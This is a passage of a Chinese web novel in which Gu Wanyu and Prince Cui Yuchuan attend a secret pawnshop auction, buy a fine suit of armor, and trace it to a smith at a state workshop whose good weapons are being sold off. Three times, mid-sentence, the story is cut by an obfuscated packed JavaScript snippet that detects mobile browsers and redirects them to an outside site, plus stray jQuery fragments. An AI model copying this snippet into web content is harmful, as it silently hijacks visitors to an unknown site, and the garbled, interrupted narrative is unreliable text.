令人欣喜的是,认真起来的流火君在强者如林的大比中依然实力超群,又有疯子前辈从旁掠阵,一路势如破竹连赢了好几场。 但令人担忧的是,越往后对手便越强,战斗也愈发残酷搏命。当真是没有半分武功交流的友好气氛,只有厮杀和仇视。 阮竹姐他们想给流火君找到一招出其不意的杀手锏作为危急关头能够化险为夷的底牌,却没有头绪。 最终事情的发展能否如她们所愿,仍然要看造化和运气。 顾婉妤读完此信,便身在绥金,心系镜麓了。 她想起当时在大比第一关的瀑布边,那个使用火药弹的男人。一枚巴掌大小的火药弹,能够差点要了她和疯子前辈的命。若能找到这种威慑力极强或杀伤力极大的东西给流火君拿去使用,想必一定能出奇制胜吧。 顾婉妤便在当地的劳工们休息时去打听了一下绥金城内有没有擅做武器的工匠,可惜没人清楚。 也是,像绥金城这种大城,朝廷管控严格,怎么可能允许在市场上随意售卖一些杀伤力大的武器。 她又想了个办法,就是找寻当地的黑市。 流火君曾讲过,地下黑市到处都有,就看你能不能找到。 顾婉妤没接触过这些,就只能小心翼翼地暗中打探,然而毫无结果。 她去问崔煜川,崔煜川也生出些兴趣来,不过他的重点在于——“黑市里会有好铁矿卖吗?” “这,或许吧……那你帮我打听打听……”顾婉妤无奈苦笑。 不过,经过两人的一番努力,还真找到些头绪,传闻城中的当铺私下成立了一个典当业协会,定期拍卖他们收来的那些已过赎期的物品,其中不乏许多稀有的宝贝。 另外有人透露,这拍卖会上还会卖一些更特殊的玩意,一看就不是寻常人能接触的,大抵只是拿“典当”做了个名头,实际是为了这些不便光明正大面世的东西找了个合法销售的渠道。 知道有这回事之后,顾婉妤便想要得到参会的信物,去神秘的拍卖会上一探究竟。 崔煜川也有些意动,他问了问衙门里见多识广又口风严的赵判官,才知道原来这个拍卖会是邀请制的,得找个人引荐,才能得到参加的信物。 但赵判官不建议他去,说是这里面水深得很,不一定都是好东西,听说也有卖骗人的假货。 另外,参加的人鱼龙混杂,三教九流之中不乏一些心思不纯的鼠辈,他身份高贵,万一被人盯上暗害怎么办。 话虽如此,倒不至于因此放弃。崔煜川仍旧见了赵判官帮忙联系到的可举荐的中间人,拿到了参加的信物。 拍卖会设置在绥金城西市场内的一处牌楼内,从外面看,它似乎是一处私宴会馆,没什么特别的,但走进之后,才发现别有洞天,处处透着华丽与讲究。 在拍卖会举办的当日,崔煜川约上顾婉妤,两人拿着信物一起走进了这座牌楼,从一进门,便有训练有素的带刀侍从成队列排布,其中一名迎上来检查信物。 信物有不同的等级,而崔煜川身份特殊,拿到的自然是最高级别的那种,即以白鹤图腾为装饰的圆形玉牌。 侍从将玉牌放进墙上的孔位中,玉牌便顺孔道下落,直至落入银盘中,推动银盘上的铃铛发出“叮”的一声。 声响过后,红色的重重软纱帘幕微微摇动,随之从中走出一名身着锦缎长袍,俊俏端方的玉面公子。 他温声对崔煜川和顾婉妤说:“二位贵人请随我来。” 他们没有走那条被红色软纱装点的通道,而是从旁边的楼梯一路向上。 楼梯上铺了一整块的毛地毯,从一楼一直延伸上去,其长度令人咋舌。它踩着软软的,其上纹绣的是一副百兽经神女点化修成精怪的故事,充满异域风情,想必是从其他国家买来的,饶是不太懂得奢侈物品的顾婉妤也能看出其价值昂贵。 他们往上走了三层楼,才抵达了最高级别客人的所使用的席位。刚一踏上四楼的地面,视野便骤然开阔,眼前一亮,见到了牌楼内部的完整结构。 原来一楼是拍卖会的舞台及台下的观者席,二、三楼是呈环形排布的一个个房间,围绕着俯瞰一楼舞台。 而四楼整层只接待一组客人,即当天地位最高的客人,保证绝对的隐私与安静。身处四楼,可以很容易地观察到楼下每一位客人的神情、举止,以及他们参加拍卖的情况。 “哇,不错啊。”顾婉妤小声感叹。 崔煜川神色不动,举手投足之间摆足了皇家尊贵矜持的排场,实际也背过侍者偷偷对顾婉妤感叹:“没想到这里还有这种地方。” 等茶水、点心上完,带领他们上来的公子才亲手捧上用以举示出价的牌子。这牌子也是厉害,实际是一面绣扇,但除了扇面,其余部分均是入手温润的沉香木,透着绿意盎然、木质沉蕴的浓郁香气。 沉香木诶,一两高级的沉香木抵得上十两黄金,还得专门到胡商那里,才能买到最优质的。 顾婉妤举着扇子,感慨此处原来是个名副其实的销金窟。 “若要出价,举起扇子即可,我会过来帮助您喊价。”公子彬彬有礼地鞠躬,然后便退到远处,给予客人充分的空间。 “有种荷包不足的窘迫。”顾婉妤笑着向下看,舞台上的八角宫灯点点,透着金色与红色相间的暖光,“不知道这里卖的东西会不会很贵。” “还有我不是吗。”崔煜川安慰道,“流火君那边的事情比较紧急,先紧着他能用得上的东西买。” 很快,拍卖会的主人登场了,是一名胖胖矮矮的商人,估计是谁家典当行的老板,口齿流畅能说会道,典型的生意人。 第一件拍品也被侍者端了上来,听商人讲述,这是一件有几百年历史的古董花瓶。 除非是客人就站在舞台上,否则身处舞台以外,拍品的细节其实是较难看清的,怪不得赵判官说此处有售卖赝品的危险。 但台下的客人依然很给面子,叫价声此起彼伏,听起来都不怎么差钱。 “不会是有专门抬价的托吧。”顾婉妤趴在楼台边缘,一双眼睛在竞价者之间来回移动。 “很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894231|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能,毕竟是做生意。”崔煜川托腮,“那我们叫价时可得慢着点,别叫旁人发觉迫切之意,否则被抬了价就要吃亏。” “那你可得拉着点我,我容易冲动。”顾婉妤很有自知之明地说。 花瓶最终被以百两黄金的高价拍出,惹得观众席的叫好和唏嘘声混杂。紧接着第二件拍品便送了上来,一件做工精致华美的鎏金鸟笼。 “好漂亮,宫中是不是都用这种鸟笼养鸟?”顾婉妤好奇地问。 “怎么可能如此奢靡。”崔煜川无奈,“关在鸟笼里的鸟都是宫人私养的,鸟笼也得自己掏钱买。而若是宫中御兽坊专门养育的鸟儿,就压根连笼子都不用,直接养在鸟房、鸽舍之中。” “这倒是闻所未闻,我还以为宫中吃穿用度俱是使用这样的宝物呢。” “你看我就知道了,我哪像如此奢侈的人?”崔煜川故意扮作不爽。 “嗯!”顾婉妤笑着点头。 “不知道什么时候才能出现我们想要的东西。”崔煜川挥手叫来侍者,问今日拍品有无名册。 贵客开口,没有也得现造一本出来,不过拍品名录实际上早已预备好了,被侍者端上来送至二人手边。 只是这名录也藏着掖着,只说简单的种类,比如“花瓶”、“玉器”、“武器”、“宝剑”,却不说细节。 但好歹是有“武器”这个分类的,也不会白来。两人便耐下性子,全当看戏,等待着一轮又一轮的拍卖。 直到连日忙碌的两人都昏昏欲睡了,一件能提起他们兴趣的拍品才终于上台。 “这是一件——火绳枪,诸位都清楚,只有朝廷的军器监和下属的都作院掌握火药武器的配比,且由师傅们口口相传,绝不会留下书面记载,外面私人制造的□□用起来是非常不稳定的!”负责介绍拍品的商人激动起来,“而这一件,我们可以保证,它是不会对使用者造成危险的。” “火绳枪?”顾婉妤疑惑,“这是不能对外流通的吧?” “嗯。”崔煜川点点头,“就算是军队中,也只有专门的火器营可以使用这类新式武器。物以稀为贵,如果是真货,那么确实不可多得……要买吗?” “可以一试。”顾婉妤点头。 她心中带着怀疑,那么这件火器是从哪里流通到此处的呢?难不成都作院除了想办法偷偷卖官营铁矿,甚至还卖了专供军队的武器? 但是现在只见到一件,不好下定论。台上卖的东西也有可能根本就是赝品。 “火绳枪的使用非常简单,拉动绳子,火药弹就会从枪管中射出来。”商人举起火绳枪,进行演示,“火药弹随枪附赠。” 台下议论纷纷,不少人看上了这件东西。 毕竟这世间总不太平,尤其是他们做生意的,天南海北地奔波,总会需要些趁手的东西护身。 于是,从一开始,这把枪就炒上了价。 崔煜川的扇子还没来得及举,价格就已经超出了他们的预期。 “算了吧,太贵了,”顾婉妤摇摇头,“我想流火君也不是就差这一件东西,说不定他还要嫌弃用着麻烦不趁手。” “好吧。”崔煜川把扇子放回桌面,“再看看。” 32. 西风送凉(3) 落槌定拍,火绳枪重新端下去之后,台上出现了一阵短暂的空档。 舞台后面的侍者们忙忙碌碌,又传来叮叮当当的金属撞击声。似乎下一样拍品是件金属制的大家伙,难以轻松地运上台。 在舞台上主持大局的商人也表现出如临大敌的紧张感,他不断侧头向舞台后面的黑暗处望去,并快速摆手示意他们不行就换一个。 观众们的好奇心被调动起来,不少人伸长了脖子往舞台后面望去,却难以看清这件拍品的实貌,不由得窃窃议论起来。 “不会是故弄玄虚吧,演一下,待会能多卖点钱。”顾婉妤也好奇地往下看,可惜从四楼看那边更是被舞台遮挡得严严实实。 “有可能。”崔煜川气定神闲。 他们两人都觉得这种体积大的东西不会是自己今天的目标。结果,等这件神秘的拍品终于被好几个侍者一齐推上来时,全场哗然,身处四楼最佳贵宾位的两人也惊讶地从椅子上站了起来。 因为,这是一件看上去不该在这里出现的铠甲,它可能威风凛凛地出现在君临战场的大将身上,可能满身脏污残破地半埋在硝烟与泥土中,也可能以被拆分的状态安躺在匠人的工坊案台上。 但总之,它似乎不该出现在一场民间组织的拍卖会中。 这下,崔煜川也感到这拍卖会的不对劲了。 从四楼高台远望下去,依然能看清这具黑青色铠甲外表面的甲片如镜面般光滑,如蛇鳞般排布整齐,光打在上面,便有流光溢彩的感觉。 要把铁锻打成这种状态,说是千锤百炼也不为过,简直是以打造绝世名刀的专注与韧性在打磨,这不是一般的工匠能制成的甲胄,也不是一般的士兵能穿上的甲胄。 崔煜川家中世代从武,更是名将辈出,他一眼便能识货。这种规格等级的铠甲,至少也得是他哥那种奉皇命在战场上厮杀,并且战功赫赫的一方虎将才有资格领取的。 根本不需要任何多余的介绍,在场的谁都看得出这铠甲的价值。 “这具铠甲,想必大伙都能看出——绝非凡品!”主持的商人站在高大又闪亮的盔甲身边,被衬得渺小甚至寒酸起来,他扯着嗓子异常激动,“一般的铠甲,少说也得四十几斤,不是一般人能承受得住的!而这件不一样,被大师精磨过后,兼具了轻便与防护能力,减轻负重,又经过精心缝制,得体合身。” 台下的阵阵惊讶声取悦了商人,他又提高了一度声调,接着说:“当然,最重要的,就是它的防护能力!就算是以强弩射出的箭,也根本就射不穿它的铁甲!” “真的吗?”顾婉妤吃惊地捂住嘴,“这种东西应该不会外流到民间才是啊。” “没错。”崔煜川锁紧眉,“这不正常,就算在军队里,也不是谁都能得到它。它应该是一名现役将军的地位、荣誉、战功的象征,而不应该被放在这里计价叫卖。” 顾婉妤听出了崔煜川话语中的严肃和惋惜,她转过头看着崔煜川,轻声问:“你想买下来吗?” 崔煜川迟疑了一下,说:“不一定能买得起……” 若是在上京,无论这件铠甲被拍出什么样的天价,他都能买得起,然而这是在绥金。 此番出行,他一是没有带那么多银钱,二是最近自掏腰包为河场劳工们提供了很多补贴,三是接下来的水利工程说不定还有很多需要用到钱的地方。 唉。崔煜川叹一口气,大概是无缘了。 这来路不明的铠甲肯定也无法进入管理严格的皇城上京拍卖。他注定是与其没有缘分。 顾婉妤见崔煜川难得露出了渴望与惋惜的表情,好像一个失去心爱之物的孩子,她只觉心中的心弦被微微拨动。 她好像看到了更年幼时候的崔煜川,那个小小的孩子,有着勤勉认真的性格和高远的理想,却被残酷的现实禁锢,不得已放弃了很多。 他会露出这样惹人心疼的落寞表情吗? 顾婉妤突然感觉自己有点生气了。 “你可是王爷啊。”她小声说。 突然听到这话,崔煜川投来不解的目光。 “我是说……”她烦躁地敲了敲桌子,尽力准确的表达出自己的想法,“你是王爷,你本该……得到更多你想要的。而不是现在这样……” “不行!”顾婉妤突然站起来,令崔煜川更加疑惑地睁大眼睛。 她将右手伸出到崔煜川面前:“我给过你的匕首,你带了吗?” 崔煜川呆呆地点了点头,依然没搞懂顾婉妤葫芦里卖的什么药。 “这就好,给我。”顾婉妤心下稍感安慰。 她可是把崔煜川送的玉珮天天随身揣在荷包里,要是崔煜川不同样把她送的东西带在身上…… 她就无法给他买东西啦!生气! 崔煜川慢吞吞地伸手进衣服掏,还被顾婉妤催:“快点,待会来不及了。” “你……你要去抢?” “怎么可能!”顾婉妤上手便霸道地顺着崔煜川衣服的缝隙伸进去。 “喂!”他吓了一跳,不好意思地一躲,却被掏出了那把弯月匕首。 顾婉妤甩了一下,将匕首顺势滑到手心,就丢下一句“我很快回来”便跑走了。 她不顾身后崔煜川疑惑的目光,跑到那名公子模样的侍者面前:“你们这能直接当掉东西换钱吗?” 侍者闻言,眼睛一亮:“当然可以。” 以侍者的经验而言,面前是能登上四楼的贵客,比起银子,他们掏出来的器物总是要更加珍贵。 毕竟此处便是以售卖稀有而珍贵的器物为业。一件拍品能赚得白银万两,他们最不缺的就是银子。 但珍稀器物难得。 经过一番“包装”,他们总能将器物卖出更高的价格,吸引更多的顾客。 不怕顾客无银钱,只怕手中无真货。 “请随我来。”侍者在前面引路,两人下到三楼,从间间形状相同的包厢门前穿过,便来到了藏在尽头唯一一扇不同的雕花大门面前。 侍者开了门,请顾婉妤进入。 她摸了摸自己的匕首,坚定踏入。 房中站了两排带刀侍卫,见有人来,气势盛起,在这不大的空间里格外有压慑力。 而坐在珠光宝器之中,斜撑在账本上算账的一名八字胡商人,抬头淡定望了过来。 “这位是今日四楼的贵客,想要当场典当一件宝物。”侍者上前汇报。 顾婉妤站在屋子当中,沐浴着两边警惕的目光,全然没有任何不自在。她也跟着侍者走上前,问:“可以吗?” “当然。”商人脸上堆起笑容,“能看看是什么样的宝贝吗?” 崔煜川独自坐在四楼居高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904290|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临下,眼见着下面的坐席频频叫价,几乎没有任何停息。 金额水涨船高,已经到了一个夸张的地步。而他身边的侍者频频以眼偷偷瞧他,似乎心急这位贵客怎的还不出手。 崔煜川心中苦笑。 这些人可真有钱啊。 要他把做实业、建水利的关键银钱拿出来买一件观赏性大于实用价值的东西,他舍不得。 这些人又不上战场,买回去摆着又如何呢?还是要当一件藏品,待未来升值? 铠甲这种东西,还是穿在名将身上征战过沙场建功立业的,才最有价值吧。 计价的规格逐渐从白银变成了黄金,崔煜川挥退了等待帮忙出价的侍者。 又经过几轮叫价,最后只剩两个人仍不放弃。 “两百两黄金?”身在三楼的顾婉妤焦急道,“这是不是你们专门安排抬价的人啊?出两百两黄金买个铠甲,是不是脑子有问题!” “不是的。”商人笑。 “那我再加一点。”顾婉妤咬咬牙,“加二十两黄金!” 当真是冲冠一怒为蓝颜啊。从没管王爷要过什么财宝好处,如今还要为了他一掷千金! 终于,顾婉妤期盼已久的槌响落定。 天啊,她深吸一口冷气,这辈子都赚不回来这么多钱了…… 房间内的商人和侍者却鼓起掌来,给足了情绪价值,大加赞叹顾婉妤有胆识、有豪气。 连那些不苟言笑的带刀侍卫都以敬佩的眼神看她了。 顾婉妤晕晕乎乎地出了房间,被一路恭送请回了四楼,她看到崔煜川关切的眼神看过来,问她:“你看到刚才的竞价了吗?真是十分激烈,最后居然卖出了二百两的天价。” “是二百二十两。”顾婉妤脱力靠在椅子上的锦缎中。 “是的,原来你看到了。”崔煜川感叹,“此城名为‘绥金’,此地的人们便当真是富贵满盈啊。” 顾婉妤虚虚笑了一下,感觉到豪掷千金之后的虚无感。 太可怕了,这钱花的,压根没有实感!这就是富人的感受吗! 今日拍出了如此高价格的拍品,拍卖会的气氛被炒得火热,接下来的拍品便一件一件如流水般上场,怎么也停不下来了。 崔煜川见顾婉妤兴致不高,似乎已经累了,便体贴道:“我们走吧。” 顾婉妤点头,两人起身。侍者便迎过来:“二位现在去取拍得的商品吗?” “对。”在崔煜川不解的眼神中,顾婉妤回答。 “你什么时候买了东西?” 崔煜川的疑问很快就得到了回答。当他看到那件精巧绝伦到美丽如斯的铠甲静静站在他面前,他整个人都呆滞了。 “傻了?”顾婉妤戳戳他。 “你哪来的钱?”崔煜川猛地转头,抓住她的肩膀,“你……你……” “我把我给你的匕首卖了,卖了个好价钱。”顾婉妤回答,又小声说,“虽然给你了就是你的,但你不会介意吧?” 崔煜川愣愣地捏着顾婉妤,半晌才说:“介意。” “嗯?!” 还不等顾婉妤露出生气的表情。 崔煜川突然脸红耳热的低下头,脸庞靠进顾婉妤的肩窝中,他眼眶热热的,压抑住涌动不止的情感,哑声道:“以后不要再为了我做这么傻的事情了。” 33. 西风送凉(4) 拍卖会后,一辆高大的马车低调地从绥金城西一处牌楼的后门驶出。 顾婉妤和崔煜川坐在车厢内,面前是一件雕金红漆木箱,里面装着的便是他们拍得的铠甲。 “结果最后我们既没有给流火君买到东西,也没打听到哪里有铁矿石卖。”崔煜川颇有些哭笑不得,他放松地倚在厢壁上,看起来心情很是愉悦。 “你可以把这个借给流火君用用,虽然可能不太适合他的风格。”顾婉妤故意调侃。 果然,崔煜川才舍不得,他挑起唇角,露出副得意又高傲的模样:“别想,这是你给我买的。” 他在“你”字上加重了语气,惹得顾婉妤捂嘴偷笑。 “但是你的匕首到底是什么来历?”崔煜川突然想起这茬,他状似随口一问,实则内心非常在意,“就这么卖了不要紧吗?” “这个是我娘的师父送我用来防身的。”顾婉妤回忆起年幼时的事情,“那时她来教我轻功,顺便就给了我一把匕首用以防身。娘亲说师父送的东西都是价值连城的宝物,让我保存好。今天我去让他们验了一下,没想到真能卖这么多钱。” 崔煜川感觉暖融融的,像被一只柔软毛多的小动物占据了心房,使他整个人心中充满了正向的情感。 对了,顾婉妤突然想到,还有一件要紧事。 “你觉得这个铠甲,”顾婉妤放轻声音,试探地问,“会是从哪里弄来的呢?” “除非民间有性情古怪,不为朝廷招徕的工匠大师,否则这种等级的兵甲只可能出自官营,也就是都作院下的工坊。不管是制造它的工艺还是原材料,都不是民间的工匠能随便接触到的。”崔煜川目光灼灼地盯着眼前的木箱,“此事或许有异。” “我想去查一下都作院的库房。”顾婉妤连忙趁机说,她早就有这个想法,“正好看看他们是不是真存了很多的铁矿。” “库房都有士兵看守的,不要冒险。”崔煜川闻言,不赞成地摇摇头,“我想个办法看能不能正大光明地进去,本来都作院的人就有要将铁矿卖给我们的意思,买之前总能先去看看货吧。” “如果他们心里有鬼,不见得能同意这个要求,或者是在你进去前先将不合理之处改变。”顾婉妤叹了口气,按下不谈。 她确实也担心自己偷偷进入时被抓住,虽然有崔煜川在,被抓事小,但万一打草惊蛇,之后想再探查可是更难了。 顾婉妤没有忘记云锦讲过的话,兵器一事不仅是贪腐那么简单,更关系到前线军队的成败伤亡,以及大景疆域的存亡。 还是得想个好办法…… 结果,令两人万万没想到是,还不等今日过去,他们就发现了新的突破口。 这次得归功于崔煜川。 拍卖会派出的车夫帮他们把铠甲运回住处后,便驾着马车离开了,崔煜川担心铠甲放在院里受风吹雨淋,便直接把它带着箱子一起拖回了自己的卧房。 顾婉妤在一旁看着好笑,尤其是崔煜川把整套铠甲用木架立了起来,站在房中,乍一看像个沉默的真人站在那里,有点骇人。 崔煜川浑然不觉,美滋滋地打量。 顾婉妤就从旁建议让他穿上试试。 “我穿这个做什么。”嘴上是这样拒绝的,但崔煜川跃跃欲试的小眼神出卖了他的内心。 顾婉妤主动走出房外,还替他把门关上了:“你穿上我看看。” 果然,没过一会,全副武装的崔煜川就打开门,神采奕奕地大踏步走了出来。 “不错啊。”顾婉妤凑过来打量,“看着就像个将军。” 崔煜川只是笑,满脸泛着开心,显然已经控制不住自己对这套装备的喜爱了。 顾婉妤心想,这可是我豪掷千金买下来的,你要是不喜欢我就亏大了。她绕着这套铠甲走了几圈,仔细打量,突然发现光映在肩膀处的甲片上好像映出了点划痕。 “这里好像有点印子?”顾婉妤好奇地用手指蹭蹭,感受到几道刻痕。 “嗯?”她发出疑惑的鼻音,“好像是个字。” “字?”崔煜川歪头去看,可惜在后肩处看不到。 “你别动,我瞅瞅。”顾婉妤换了个角度,借着光终于看清了,上面确实被人浅浅地刻了个“华”字。 顾婉妤便对崔煜川讲了,还问:“这是不是制作者的名字?” “如果是官营工坊出品的装备,是决不允许刻工匠私人的姓名的。”崔煜川摇头,“不过这铠甲上并无官营标志,所以我也说不准。” “难道民间也有造武器装甲的大师?那一定要见一见了。” 然而,第二天顾婉妤就打听到了,都作院还真有一位“华师傅”,甚至在绥金当地从事手工业的群体中都相当有名气,为河场打制工具及钢铁部件的铁匠师傅们基本都知道他。 其中还有与华师傅有些交情的老铁匠,被顾婉妤一拜托,马上就乐呵呵地应承下来帮她引荐。 顾婉妤便得以见了华师傅一面,老铁匠带着她从都作院工坊后门钻了进去,华师傅便等在那里。 看着老铁匠熟门熟路的样子,顾婉妤多问了几句,才知道原来老铁匠以前也是都作院的工匠师傅,怎么不抱朝廷的铁饭碗,非要自己出来单干呢? 听了她的疑惑,老铁匠笑着摆摆手,摆明了不想提过去的事情,他把华师傅叫过来,两人寒暄两句,互相叫着“老家伙”,确实是很熟悉的样子。 “这位就是要见我的女娃?”华师傅黑瘦的脸上是苍老的沟壑,看着年龄着实不小,但双眼投出精干的光亮,不容人小觑。 “老师傅好,我是顾婉妤。”顾婉妤连忙介绍自己。 “你是代表煜王来的?快进来说。”华师傅把顾婉妤请进他们的工坊大院,只见宽敞的院落中布满了木架子,其上是各种搭制晾晒的半成品,以及许多脏兮兮黑黢黢的干巾。金属粉尘的冰冷腥气混着煤炭烟熏火燎的味道,弥漫了此处的每一片空气。 “那我就不进去了。”老铁匠与两人告了别,便独自回河场继续工作去了。而顾婉妤好奇地东张西望,问道:“我一个外人进来不会有什么问题吧?” “这边没关系。”华师傅话里有话,他请顾婉妤在院子角落的大榕树下坐,把手在身上围着的帘布上擦了擦,留下一团模糊的黑灰,“女娃,你过来找我,是为了什么事?” 看华师傅是个朴实又爽快的老工匠,顾婉妤也心生尊重和信任,便直截了当地问:“我和王爷昨天买到一套做工精美的铠甲,上面刻了个‘华’字,就想打听打听是不是您刻上去的。” 听了这话,华师傅的脸色变差了,他又擦了擦手,重重叹了口气,沉默一会,才抖着嘴唇问道:“你说的这个铠甲,是新的吗?还是一看就穿过的?你们去哪儿买的?” 顾婉妤耐心地一一作答:“是全新的,那些铁甲片上几乎没有一丝划痕,光可鉴人,被保存得很好。我们在城中的拍卖会上花大价钱买来的。” “唉!”听了这话华师傅一丝喜悦也无,反而又是重重叹气,好像这套铠甲的存在令他很为难似的。 “华师傅,这铠甲是您制作的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927765|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “写了我的名字,应该就是我做的了。”华师傅也不遮掩,老实说道,“官府明令禁止我们这些工匠在制造的成品上作标记、刻名字,你要是说出去,我就不用在这里待了。” “我给您保密。”顾婉妤高兴地笑笑,是华师傅做的就好办了,她接着往下问重点,“这既然是官营工坊出品的铠甲,怎么会流落到民间的拍卖会上?明明是绝对禁止对外流通的东西。” “你看,这就是上头那些做官的不像话。”华师傅四处看了看,才愤愤不平地指责,“我早就怀疑他们把工坊出产的武器装备拿出去卖。” 华师傅瞅瞅顾婉妤:“你和他们不是一伙儿的吧?” “当然不是!我和王爷就是要暗查那些贪官污吏!”顾婉妤也直起腰握起拳,展示自己的愤慨,“他们贪污就罢了,但是军队用不到质量好的装备,可是真的要打败仗、死很多人的!” 华师傅的脸色变得更难看了,甚至黝黑的皮肤都变得苍白了一些,他很是不能接受顾婉妤所提出的这个残酷事实,噎了片刻,才满脸悔恨地说:“造孽呦!” “您知道这件事吗?”顾婉妤试探。 “没有比我们更清楚的,不然我也不用冒着被发现抽鞭子的危险,在做出来的东西上面刻名字。”华师傅摇摇头,撸起袖子给顾婉妤看。 瘦瘦的枯枝一般的胳膊上,是道道结了痂的血红鞭痕。像那老树枝被人扒了皮,其下露出的却是血红的皮肉一般,令顾婉妤心中一跳。 她怔愣着,就见华师傅若无其事地放下袖子,继续说:“从很早之前,上面拨下来的好官矿就变得很少了,上头管事的说铁矿吃紧,全国都在用,让我们克服困难,用杂矿撑一撑,不要耽搁工期。” “但是技术再好的工匠,用杂铁矿也是没办法做出质量过硬的武器和兵甲的,这样不明不白地生产肯定要出问题,毁了我们工匠世代的积业和名声。”华师傅摇头,满脸无奈,“我资历深,工坊里面的工匠们就把好矿都拿给我用,让我至少做出来一批好用的东西。我留了个心眼,把它们都刻了字,想着朝廷军器监检查出品质量的大人们说不定能发现其中的不妥,来找我询问情况,就算之后要惩罚我这个不守规矩的老东西,我也认了。” “我和煜王买到了您的铠甲,说明您做的那些质量优良的兵器被偷偷卖掉了。”顾婉妤皱眉,“而军器监审查出品时也并没有发现任何问题,还让大量质量不好的兵器流入军队实战使用了,是吗?” “女娃,你和王爷是做大事的人,可以去查一查上面到底怎么想的,怎么能坏了祖制的规矩,但这已经不是我能管得了的事了。” 华师傅朴实的话语触动了顾婉妤,她点点头,想了想,又问:“那师傅,我能进存铁矿的库房看看吗?” “使不得使不得。”华师傅连忙摆手阻拦,“我们都进不去的,那地方是重兵把守。” 这令她有些出乎意料了:“你们都进不去?!那要用矿石的时候怎么办?” “有库管专门办这个事情,领多少都有记账,库管再用小推车给我们运出来。” “一直是这样的规矩吗?” 华师傅摇头:“这几年上头立的新规定,怕有人偷矿。” 这不对劲,就算是怕被偷,没有必要对工坊里这些世代服务的官匠师傅们也严防死守。顾婉妤觉得处处充满疑点,她必须得想办法进去看看,可是该怎么进去呢? 她央华师傅再想想,还有谁是可以进入库房的。 “只有库管和那几个我眼熟的大官儿。”华师傅的态度很笃定。 34. 西风送凉(5) “那把矿石运进库的时候呢?”顾婉妤不死心,“那么多的矿石,总不能只让库管搬吧?” 华师傅苦笑:“矿上的车子只跑到库房门前,确确实实是库管用推车搬的。他们送的勤,一次拉的矿没你想的那么多。” “华师傅,你知道现在是哪个矿来送货吗?” “整个麓北平原都不产铁矿,离绥金最近的矿区在镜麓,应该都是他们来送。” 镜麓? 巧了,这可是熟人的地盘,顾婉妤心中突然有了一点底气,她谢过华师傅,喜忧参半地离开。 华师傅把她送出去,一路上好言相劝,让她一个女娃少插手这些事,去让煜王想办法。 “煜王还得指望我呢。”顾婉妤俏皮地笑,让他放宽心,自己会量力而为。 华师傅看着她自信又充满活力的脸庞,久违地感受到年轻人身上的磅礴生命力,他莫名被感染到点了点头,突然说:“娃,等一会儿。” 顾婉妤停下脚步,看华师傅掀开他那脏兮兮的围布,露出衣服上系着的大口袋,里面装满了各种铁匠刀具。 华师傅伸手进去掏了掏,掏出两把锋利的银色小刀。 “拿着防身用。”他递给顾婉妤,也没说什么好听的,只是朴实地微笑。 顾婉妤却格外感动,她也不推辞,点点头,接过来。 顾婉妤回到住处后,当即便给阮竹姐写信。 她们虽分隔两地,有不同的事情要忙,各自的处境也并不安宁,但仍能互相配合互相帮助、亲密无间,这种信任和默契当真难得,又能生成强大的力量,是顾婉妤永远的底气。 她在信中说明了绥金都作院的异常以及河场工地急需资源的现状,请阮竹姐抽空帮忙从中协调,又将那两把食指长短的小刀用布包好,随信一起绑在信鸽的脚上。 “小鸽子,是不是很沉,这趟辛苦你了。”她摸摸信鸽顺滑的羽毛,便放飞了出去。 几日后,顾婉妤还未等来阮竹姐的回信,便听说了一件惊人的消息——闫鹘死了。 这还是崔煜川告诉她的,他急匆匆地走进两人住的院子,对往石板上晾晒自己写的文章的顾婉妤说道,江湖恐要剧变了。 她瞠目结舌,手下一用力,把脆弱的稿纸都撕开一角。 “闫鹘死了?他怎么会死呢,他那么厉害……” “现在不知道镜麓那边发生了什么,但朝廷估计要插手了。”崔煜川疲惫地坐下,“真是多事之秋,眼下整个麓北都这么乱。” “那武林大比还会继续吗……”顾婉妤怔怔地想到,当初无论是拥护大比胜者成为武林盟主,还是让武林盟主迎娶阮竹姐,都是闫鹘一人所言,他死了,这些诺言还会做数吗? 为了获得盟主之位,参加大比的人都是以命相博,更有不少人已经在大比中饮恨身亡,现在要停下,又停得下吗? “朝廷会派高手过去暗中压制的,能帮上镜麓庄的忙。”崔煜川见顾婉妤一时失神,连忙宽慰,“别担心,至少阮竹君他们目前都还好好的。” “嗯。”顾婉妤点点头,突然感觉脸上凉凉的,她抬起头,发现天空不知何时已经乌云密布,此刻雨滴正往下滴落,从一滴两滴逐渐变成密集的雨雾,她五味杂陈地低下头,收拾院落中的稿纸,还是有些不及时。墨字在稿纸上晕开,脏兮兮的,晕出一团黑色的阴影。 这雨一下,便是三天三夜没有停止。 …… 